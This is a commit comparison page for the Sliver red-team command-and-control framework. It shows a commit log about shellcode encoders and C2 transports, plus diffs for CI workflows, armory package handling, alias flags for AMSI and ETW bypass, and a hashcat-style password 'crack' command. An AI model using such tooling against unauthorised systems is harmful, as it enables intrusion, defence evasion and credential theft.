Compare commits

...
Author SHA1 Message Date
moloch-- 87b1efaa5f Make sure zig builds get stripped 2026-02-07 12:25:04 -08:00
moloch-- 009e505a54 Update shellcode unit tests 2026-02-07 10:46:01 -08:00
moloch-- c0dd2d5b51 Update docs, wire linux shellcode into client/ code 2026-02-07 10:33:13 -08:00
moloch-- 6dab9dc6c5 Update malasada to v0.0.2 2026-02-07 10:11:15 -08:00
moloch-- 854249fa25 Add linux shellcode for amd64/arm64 to rpc 2026-02-07 09:33:42 -08:00
moloch-- 7db573a03e Tweak file header 2026-02-07 07:32:48 -08:00
moloch-- 0bef5491dc Fix linux --format shared builds 2026-02-07 00:26:33 -08:00
moloch-- 1c50e5a87b Remove unused tests 2026-02-06 17:53:50 -08:00
moloch-- 8dae2d0d52 v1.7.0 2026-02-06 17:50:35 -08:00
Joe 023776f7e3 Merge pull request #2165 from BishopFox/crack/basic
Update gRPC APIs
2026-02-06 18:48:21 -07:00
moloch-- b7566a3b09 Update client grpc to modern apis 2026-02-06 17:31:08 -08:00
moloch-- b889e2eb6f Fix merge 2026-02-06 16:30:53 -08:00
moloch-- 4466ace279 Merge master 2026-02-06 16:29:39 -08:00
Joe 2b65089b27 Merge pull request #2164 from BishopFox/fix/dns-dos
Fix/dns dos
2026-02-06 15:41:17 -07:00
moloch-- 87d5fd53a8 Add e2e dns c2 tests 2026-02-06 13:54:07 -08:00
moloch-- cf79a2d284 Merge patch for oversized msg size checks 2026-02-06 12:16:03 -08:00
moloch-- 6d0276ff67 Add more tests for dns gc 2026-02-06 11:56:55 -08:00
moloch-- 9b001ab88e Remove totp from dns c2, implement pending msg gc 2026-02-06 11:40:00 -08:00
Joe 503218f3f4 Merge pull request #2163 from BishopFox/feature/exec-bg
Feature/exec bg
2026-02-06 10:44:20 -07:00
moloch-- 495dce0987 Improve error and nil checks in mtls comms 2026-02-06 08:22:26 -08:00
moloch-- a7ff35c229 Tweak selection form height 2026-02-06 07:58:17 -08:00
moloch-- 162fc4fb8a Merge branch 'feature/background-execute-flag' into feature/exec-bg 2026-02-06 07:31:10 -08:00
moloch-- 636ea0a9b2 Cleanup execute children output 2026-02-06 07:31:01 -08:00
moloch-- 84ed9bc4e7 Merge branch 'feature/background-execute-flag' into feature/exec-bg 2026-02-06 07:27:57 -08:00
moloch-- b985d8ff9f Fix cmd group help 2026-02-06 07:27:50 -08:00
moloch-- 5a43705e1d Merge branch 'feature/background-execute-flag' into feature/exec-bg 2026-02-06 07:13:34 -08:00
Joe 76af248850 Merge pull request #2162 from BishopFox/darwin/shellcode
Darwin/arm64 Shellcode
2026-02-06 07:59:56 -07:00
moloch-- 8ea7eb4236 Remove old test 2026-02-05 21:30:45 -08:00
Joe 8f3c3ec1e0 Merge branch 'master' into darwin/shellcode 2026-02-05 22:19:10 -07:00
moloch-- 8d4bf9c759 Fixes to xor_dynamic arm64 2026-02-05 21:18:17 -08:00
moloch-- 628757250e Add execute background flag 2026-02-05 20:56:07 -08:00
moloch-- 85094fc695 Port xor encoders to arm64 2026-02-05 20:41:00 -08:00
moloch-- 0a88ad77f7 Port xor encoders to arm64 2026-02-05 19:15:34 -08:00
moloch-- 4d04f08421 Port xor encoders to arm64 2026-02-05 19:14:25 -08:00
moloch-- 4a01971f7d Allow specifying multiple shellcode encoders by name 2026-02-05 18:39:07 -08:00
moloch-- 977c63dc16 Add shellcode support for darwin/arm64 2026-02-05 17:57:08 -08:00
Joe 2d65d7d6a5 Merge pull request #2161 from BishopFox/c2/mux
C2/mux
2026-02-05 18:36:17 -07:00
moloch-- 4f5ca51cfe Implement generate.darwinShellcode() 2026-02-05 17:16:14 -08:00
moloch-- 83208eeab4 Fix io import for named pipe build 2026-02-05 16:43:53 -08:00
moloch-- 21674a9f0a Merge branch 'codex/fix-client-wg-lport-flag' into c2/mux 2026-02-05 15:50:58 -08:00
moloch-- a18bda14e2 Fix wg lport check 2026-02-05 15:50:47 -08:00
moloch-- 37f9670783 Add mux to wg c2 2026-02-05 15:50:13 -08:00
moloch-- 1745886622 Add mux and signing to wg c2 2026-02-05 14:54:32 -08:00
moloch-- bd7361825c v1.6.11 2026-02-05 12:59:32 -08:00
Joe 32af81c132 Merge pull request #2160 from BishopFox/fix/wepath
Use correct path construction in website.ToProtobuf()
2026-02-05 13:47:35 -07:00
moloch-- 818127349c Use correct path construction in website.ToProtobuf() 2026-02-05 12:29:59 -08:00
moloch-- a712bead88 Tweak mux ids 2026-02-05 12:10:24 -08:00
moloch-- aa86a1d12c Add more signing unit tests 2026-02-05 11:38:37 -08:00
moloch-- afb58f7155 Add envelope signing over mtls 2026-02-05 11:10:35 -08:00
moloch-- 97d5adccd7 Add beacon tests 2026-02-05 09:28:55 -08:00
moloch-- 83cc755388 Add multiplexing to mtls comms 2026-02-05 07:17:25 -08:00
moloch-- 4dc1fe145c Fix missing import 2026-02-04 09:46:38 -08:00
Joe 5e27b23bde Merge pull request #2158 from BishopFox/fix/shell
Fix `shell` pty resizing
2026-02-03 17:47:44 -07:00
Joe 6011d23a9f Merge pull request #2159 from JakubStanior/fix/2129
Use lport from server config in daemon mode  / fix #2129
2026-02-03 17:42:18 -07:00
Jakub Stankiewicz 976d720043 Add default lport from server config in daemon mode 2026-02-03 23:31:08 +01:00
moloch-- 86f41e9abc Fix shell pty resizing 2026-02-02 19:19:14 -08:00
Joe 8b9fc399fa Merge pull request #2156 from BishopFox/fix/armory-win
Ensure armory temp files cross‑plat
2026-02-02 20:12:49 -07:00
moloch-- 27c75c14e6 Ensure armory temp files cross‑plat 2026-02-02 18:17:28 -08:00
moloch-- 11d6af8aa0 Fix duplicated 'unknown cmd' output 2026-02-01 10:44:38 -08:00
moloch-- 54dc6dcec3 v1.6.10 2026-01-31 17:45:38 -08:00
Joe c7412d4d5b Merge pull request #2154 from BishopFox/go/v1.25.6
Go/v1.25.6
2026-01-31 09:44:33 -07:00
moloch-- c3817dc175 Pin tag patch version Go 1.25.6 2026-01-31 08:20:09 -08:00
moloch-- 09cedf588e Update to go 1.25.6 2026-01-31 08:18:39 -08:00
moloch-- 66aed89ebd Merge master 2026-01-31 08:03:24 -08:00
moloch-- 16397e7a0f Update default runtime arg 2026-01-31 07:53:18 -08:00
moloch-- 5062b483b7 Update wasm-donut 2026-01-31 07:43:21 -08:00
moloch-- b268295c8d Switch to wasm-donut 2026-01-30 22:23:56 -08:00
moloch-- 2b3f23cec9 Move donut options to generate flags 2026-01-30 17:19:57 -08:00
moloch-- 25d242230b Rengerate pb 2026-01-30 15:10:02 -08:00
Joe 110658ec39 Merge pull request #2152 from BishopFox/feature/shellcode-encoders
Feature/shellcode encoders
2026-01-30 16:09:46 -07:00
moloch-- b4345226c1 Merge branch 'feature/shellcode-encoders' into crack/basic 2026-01-30 15:09:21 -08:00
moloch-- e99999ebb6 Cleanup shellcode encoder list output 2026-01-30 14:20:48 -08:00
moloch-- 24795e7cba Update shellcode encode rpc to support new encoders 2026-01-30 14:14:45 -08:00
moloch-- 32e3386a3e Add sgn to unified ShellcodeEncoders 2026-01-30 13:40:16 -08:00
moloch-- 7feea8bef3 Add more shellcode encoders 2026-01-30 13:02:14 -08:00
moloch-- d182434d54 Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:45:22 -08:00
moloch-- 0237af0c6e Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:45:08 -08:00
moloch-- 1fa36e46c4 Implement amd64/xor_dynamic shellcode encoder 2026-01-30 12:44:49 -08:00
moloch-- 4d9bae0778 Port basic xor shellcode encoder to golang 2026-01-30 12:28:15 -08:00
moloch-- 9a9b40e400 Move sng to server/encoders/shellcode/sgn 2026-01-30 11:51:57 -08:00
moloch-- d784b305ef Move sng to server/encoders/shellcode/sgn 2026-01-30 11:50:24 -08:00
moloch-- 7a224b4757 Update year 2026-01-30 11:40:58 -08:00
Joe 76ae704ce4 Merge pull request #2151 from BishopFox/feature/xxd
Feature/xxd
2026-01-30 12:06:11 -07:00
moloch-- 71cd8fa610 Skip generate tests if there's no edits to related code 2026-01-30 10:35:16 -08:00
moloch-- e9fdcc1285 Improve hex-edit ux 2026-01-30 10:30:15 -08:00
moloch-- 870c995ae2 Add hexedit feature 2026-01-30 10:20:56 -08:00
Joe 15d7e7c4d1 Merge pull request #2150 from BishopFox/feature/chtimes
Expand time formats supported by chtimes
2026-01-30 10:50:56 -07:00
moloch-- 750cdfce0a Expand time formats supported by chtimes 2026-01-30 09:41:55 -08:00
Joe 0f128a22b3 Merge pull request #1807 from navsec/socks5-stability
SOCKS5 Stability Improvements for HTTP/mTLS Transports
2026-01-30 10:07:13 -07:00
Joe 3296a8f483 Merge branch 'master' into socks5-stability
Signed-off-by: Joe <[email protected]>
2026-01-30 10:07:05 -07:00
Joe b77ade2bb9 Merge pull request #2148 from BishopFox/fix/info
Fix/info
2026-01-30 08:47:32 -07:00
moloch-- 41dc54d736 Implement mount for darwin 2026-01-29 22:22:59 -08:00
moloch-- 8a0694cb38 Add mount on darwin 2026-01-29 22:08:28 -08:00
moloch-- 52c0618bc3 Add os version implementations for linux/darwin 2026-01-29 21:50:16 -08:00
moloch-- e2e1912628 Add search to edit cmd 2026-01-29 21:01:16 -08:00
moloch-- 36794f1b07 Implement skip to line number 2026-01-29 20:50:11 -08:00
moloch-- ccd8f75b03 v1.6.9 2026-01-29 20:36:45 -08:00
moloch-- dc89afe404 Add optional line numbers 2026-01-29 20:32:15 -08:00
moloch-- 9db1f3a967 Add syntax highlighting 2026-01-29 20:22:23 -08:00
moloch-- a2ab3aede6 Implement 'edit' command 2026-01-29 20:07:51 -08:00
moloch-- c9f4970e4b Add crack db models 2026-01-29 19:35:39 -08:00
moloch-- e72fa3dbd0 Switch crack.yaml to snake case 2026-01-29 16:30:51 -08:00
moloch-- 2e93ce5684 Merge branch 'master' into crack/basic 2026-01-29 16:16:43 -08:00
Joe 545fc27d03 Merge pull request #2147 from BishopFox/feature/certs-db
Feature/certs db
2026-01-29 09:59:10 -07:00
moloch-- 5bf65aa2b0 Fix notification indentation 2026-01-29 08:51:01 -08:00
moloch-- 828838cddf Re-add new gprc server config fields 2026-01-29 05:52:41 -08:00
moloch-- 16c1dc21fd Merge master 2026-01-29 05:47:18 -08:00
moloch-- 33c656d082 Implement first part of crack cmd 2026-01-24 18:28:07 -08:00
moloch-- 99a44e340f Improve crack benchmark output 2026-01-24 11:50:20 -08:00
moloch-- de5fa3458b Allow keep alives 2026-01-23 17:05:53 -08:00
Joe 3c46cf2210 Merge branch 'master' into socks5-stability 2025-10-24 11:41:27 -07:00
Ronan Kervella edcdfb5937 Merge branch 'master' into socks5-stability 2024-12-04 09:36:59 -10:00
Ronan Kervella f81efdb38c Merge branch 'master' into socks5-stability 2024-12-02 15:40:40 -08:00
Ronan Kervella db34ded0a1 Merge branch 'master' into socks5-stability 2024-11-18 15:06:32 -08:00
navsec 8a7a92a9b9 Refine implant/server signaling for tunnel closures 2024-11-18 17:02:15 -06:00
navsec 3eda32f9d7 Performance Optimizations and Implant SOCKS Changes 2024-11-17 15:01:04 -06:00
navsec c18c193ea7 Improve SOCKS lifecycle mangement and resolve leak 2024-11-06 23:24:44 -06:00
navsec 79a8758448 SOCKS5 Stability Improvements for HTTP/mTLS 2024-10-31 12:46:40 -05:00
642 changed files with 86222 additions and 8262 deletions

No files matched your search

+1 -1
View File
@@ -44,7 +44,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Install Minisign
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
+1 -1
View File
@@ -19,7 +19,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Checkout repository
uses: actions/checkout@v6
+31 -5
View File
@@ -26,7 +26,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: OS Packages
run: |
@@ -48,8 +48,21 @@ jobs:
- name: Make Linux (amd64)
run: make linux-amd64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test Linux
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
macos-build-test:
@@ -60,7 +73,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Check Out Code
uses: actions/checkout@v6
@@ -74,8 +87,21 @@ jobs:
- name: Make MacOS (arm64)
run: make macos-arm64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test MacOS
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
clients-build:
name: Clients Build
@@ -85,7 +111,7 @@ jobs:
- name: Go 1.25
uses: actions/setup-go@v6
with:
go-version: "^1.25"
go-version: "1.25.6"
- name: Check Out Code
uses: actions/checkout@v6
+1 -1
View File
@@ -115,7 +115,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2025 Bishop Fox
Sliver Copyright (C) 2026 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+1
View File
@@ -25,6 +25,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
- `creds/` – Implements the 'creds' command group for the Sliver client console.
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
- `edit/` – Implements the 'edit' command for the Sliver client console.
- `environment/` – Implements the 'environment' command group for the Sliver client console.
- `exec/` – Implements the 'exec' command group for the Sliver client console.
- `exit/` – Implements the 'exit' command group for the Sliver client console.
+4 -4
View File
@@ -239,9 +239,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.BoolP("in-process", "i", false, "Run in the current sliver process")
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
addAliasCmd.Flags().AddFlagSet(f)
}
@@ -374,7 +374,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
}
con.PrintWarnf("%s", msgStr)
confirm := false
_ = forms.Confirm("Do you want to continue?", &confirm)
forms.Confirm("Do you want to continue?", &confirm)
if !confirm {
return
}
+36 -19
View File
@@ -635,20 +635,15 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
return errors.New("signature verification failed")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
tmpFileName, err := writeArmoryTempFile(tarGz)
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
defer os.Remove(tmpFileName)
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
installPath := alias.InstallFromFile(tmpFileName, entry.Alias.CommandName, promptToOverwrite, con)
if installPath == nil {
return errors.New("failed to install alias")
}
@@ -729,23 +724,45 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
return errors.New("signature verification failed")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
tmpFileName, err := writeArmoryTempFile(tarGz)
if err != nil {
return err
}
defer os.Remove(tmpFileName)
con.Printf(console.Clearln + "\r") // Clear download message
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
return nil
}
func writeArmoryTempFile(data []byte) (string, error) {
if len(data) == 0 {
return "", errors.New("downloaded archive is empty")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return "", err
}
tmpFileName := tmpFile.Name()
for len(data) > 0 {
n, err := tmpFile.Write(data)
if err != nil {
tmpFile.Close()
os.Remove(tmpFileName)
return "", err
}
data = data[n:]
}
if err := tmpFile.Sync(); err != nil {
tmpFile.Close()
os.Remove(tmpFileName)
return "", err
}
if err := tmpFile.Close(); err != nil {
os.Remove(tmpFileName)
return "", err
}
return tmpFileName, nil
}
+4
View File
@@ -24,6 +24,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
bindCrackFlags(f)
})
crackStationsCmd := &cobra.Command{
@@ -34,6 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
CrackStationsCmd(cmd, con, args)
},
}
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
})
crackCmd.AddCommand(crackStationsCmd)
wordlistsCmd := &cobra.Command{
+326
View File
@@ -0,0 +1,326 @@
package crack
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
if len(args) > 0 {
return true
}
hasFlag := false
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
if flag.Changed && flag.Name != "timeout" {
hasFlag = true
}
})
return hasFlag
}
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
flags := cmd.Flags()
req := &clientpb.CrackCommand{}
if flags.Changed("attack-mode") {
raw, _ := flags.GetString("attack-mode")
attackMode, err := parseCrackAttackMode(raw)
if err != nil {
return nil, err
}
req.AttackMode = attackMode
}
if flags.Changed("hash-type") {
raw, _ := flags.GetString("hash-type")
hashType, err := parseHashType(raw)
if err != nil {
return nil, err
}
req.HashType = hashType
}
hashes, _ := flags.GetStringSlice("hash")
if len(args) > 0 {
hashes = append(hashes, args...)
}
req.Hashes = hashes
req.Quiet, _ = flags.GetBool("quiet")
req.HexCharset, _ = flags.GetBool("hex-charset")
req.HexSalt, _ = flags.GetBool("hex-salt")
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
req.Force, _ = flags.GetBool("force")
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
req.Status, _ = flags.GetBool("status")
req.StatusJSON, _ = flags.GetBool("status-json")
req.StatusTimer, _ = flags.GetUint32("status-timer")
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
req.MachineReadable, _ = flags.GetBool("machine-readable")
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
req.Loopback, _ = flags.GetBool("loopback")
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
req.MarkovHcstat2 = []byte(raw)
}
req.MarkovDisable, _ = flags.GetBool("markov-disable")
req.MarkovClassic, _ = flags.GetBool("markov-classic")
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
req.Runtime, _ = flags.GetUint32("runtime")
req.Session, _ = flags.GetString("session")
req.Restore, _ = flags.GetBool("restore")
req.RestoreDisable, _ = flags.GetBool("restore-disable")
if raw, _ := flags.GetString("restore-file"); raw != "" {
req.RestoreFile = []byte(raw)
}
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
for _, raw := range formats {
format, err := parseCrackOutfileFormat(raw)
if err != nil {
return nil, err
}
req.OutfileFormat = append(req.OutfileFormat, format)
}
}
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
req.Separator, _ = flags.GetString("separator")
req.Stdout, _ = flags.GetBool("stdout")
req.Show, _ = flags.GetBool("show")
req.Left, _ = flags.GetBool("left")
req.Username, _ = flags.GetBool("username")
req.Remove, _ = flags.GetBool("remove")
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
if raw, _ := flags.GetString("potfile"); raw != "" {
req.Potfile = []byte(raw)
}
if flags.Changed("encoding-from") {
raw, _ := flags.GetString("encoding-from")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingFrom = enc
}
if flags.Changed("encoding-to") {
raw, _ := flags.GetString("encoding-to")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingTo = enc
}
req.DebugMode, _ = flags.GetUint32("debug-mode")
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
req.KeyboardLayoutMapping = []byte(raw)
}
req.Benchmark, _ = flags.GetBool("benchmark")
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
req.SpeedOnly, _ = flags.GetBool("speed-only")
req.ProgressOnly, _ = flags.GetBool("progress-only")
req.SegmentSize, _ = flags.GetUint32("segment-size")
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
req.HookThreads, _ = flags.GetUint32("hook-threads")
req.HashInfo, _ = flags.GetBool("hash-info")
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
req.BackendInfo, _ = flags.GetBool("backend-info")
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
if flags.Changed("workload-profile") {
raw, _ := flags.GetString("workload-profile")
profile, err := parseCrackWorkloadProfile(raw)
if err != nil {
return nil, err
}
req.WorkloadProfile = profile
}
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
req.SpinDamp, _ = flags.GetUint32("spin-damp")
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
req.Skip, _ = flags.GetUint64("skip")
req.Limit, _ = flags.GetUint64("limit")
req.Keyspace, _ = flags.GetBool("keyspace")
if raw, _ := flags.GetString("rules-file"); raw != "" {
req.RulesFile = []byte(raw)
}
req.GenerateRules, _ = flags.GetUint32("generate-rules")
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
req.CustomCharset1, _ = flags.GetString("custom-charset1")
req.CustomCharset2, _ = flags.GetString("custom-charset2")
req.CustomCharset3, _ = flags.GetString("custom-charset3")
req.CustomCharset4, _ = flags.GetString("custom-charset4")
req.Identify, _ = flags.GetString("identify")
req.Increment, _ = flags.GetBool("increment")
req.IncrementMin, _ = flags.GetUint32("increment-min")
req.IncrementMax, _ = flags.GetUint32("increment-max")
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
req.BrainServer, _ = flags.GetBool("brain-server")
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
req.BrainClient, _ = flags.GetBool("brain-client")
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
req.BrainHost, _ = flags.GetString("brain-host")
req.BrainPort, _ = flags.GetUint32("brain-port")
req.BrainPassword, _ = flags.GetString("brain-password")
req.BrainSession, _ = flags.GetString("brain-session")
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
return req, nil
}
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
values, _ := flags.GetUintSlice(name)
if len(values) == 0 {
return nil
}
out := make([]uint32, len(values))
for i, value := range values {
out[i] = uint32(value)
}
return out
}
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
if raw == "" {
return clientpb.CrackAttackMode_STRAIGHT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackAttackMode(numeric), nil
}
normalized := strings.ToLower(strings.TrimSpace(raw))
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
switch normalized {
case "straight":
return clientpb.CrackAttackMode_STRAIGHT, nil
case "combination":
return clientpb.CrackAttackMode_COMBINATION, nil
case "bruteforce", "brute_force", "brute-force":
return clientpb.CrackAttackMode_BRUTEFORCE, nil
case "hybrid_wordlist_mask":
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
case "hybrid_mask_wordlist":
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
case "association":
return clientpb.CrackAttackMode_ASSOCIATION, nil
case "no_attack", "none":
return clientpb.CrackAttackMode_NO_ATTACK, nil
default:
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
}
}
func parseHashType(raw string) (clientpb.HashType, error) {
if raw == "" {
return clientpb.HashType_MD5, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.HashType(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.HashType_value[key]; ok {
return clientpb.HashType(value), nil
}
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
}
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
if raw == "" {
return clientpb.CrackEncoding_INVALID_ENCODING, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackEncoding(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackEncoding_value[key]; ok {
return clientpb.CrackEncoding(value), nil
}
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
}
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
if raw == "" {
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackOutfileFormat(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
return clientpb.CrackOutfileFormat(value), nil
}
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
}
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
if raw == "" {
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackWorkloadProfile(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
return clientpb.CrackWorkloadProfile(value), nil
}
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
}
func normalizeEnumKey(value string) string {
if value == "" {
return ""
}
var builder strings.Builder
builder.Grow(len(value))
underscore := false
for i := 0; i < len(value); i++ {
ch := value[i]
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
if ch >= 'a' && ch <= 'z' {
ch -= 'a' - 'A'
}
builder.WriteByte(ch)
underscore = false
continue
}
if !underscore {
builder.WriteByte('_')
underscore = true
}
}
return strings.Trim(builder.String(), "_")
}
+108
View File
@@ -0,0 +1,108 @@
package crack
import "github.com/spf13/pflag"
func bindCrackFlags(f *pflag.FlagSet) {
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
